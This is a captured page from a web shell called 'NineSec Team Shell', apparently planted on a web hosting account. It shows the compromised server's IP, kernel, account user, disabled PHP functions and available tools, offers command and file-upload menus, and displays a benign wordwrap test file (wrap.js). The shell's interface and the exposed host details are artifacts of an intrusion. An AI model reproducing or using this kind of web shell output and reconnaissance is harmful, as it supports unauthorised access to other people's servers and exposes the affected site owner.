NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/wordwrap/test/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/wordwrap/test/wrap.js
var test = require('tape');
var wordwrap = require('../');

var fs = require('fs');
var idleness = fs.readFileSync(__dirname + '/idleness.txt', 'utf8');

test('stop80', function (t) {
    var lines = wordwrap(80)(idleness).split(/\n/);
    var words = idleness.split(/\s+/);
    
    lines.forEach(function (line) {
        t.ok(line.length <= 80, 'line > 80 columns');
        var chunks = line.match(/\S/) ? line.split(/\s+/) : [];
        t.deepEqual(chunks, words.splice(0, chunks.length));
    });
    t.end();
});

test('start20stop60', function (t) {
    var lines = wordwrap(20, 100)(idleness).split(/\n/);
    var words = idleness.split(/\s+/);
    
    lines.forEach(function (line) {
        t.ok(line.length <= 100, 'line > 100 columns');
        var chunks = line
            .split(/\s+/)
            .filter(function (x) { return x.match(/\S/) })
        ;
        t.deepEqual(chunks, words.splice(0, chunks.length));
        t.deepEqual(line.slice(0, 20), new Array(20 + 1).join(' '));
    });
    t.end();
});

NineSec Team - 2022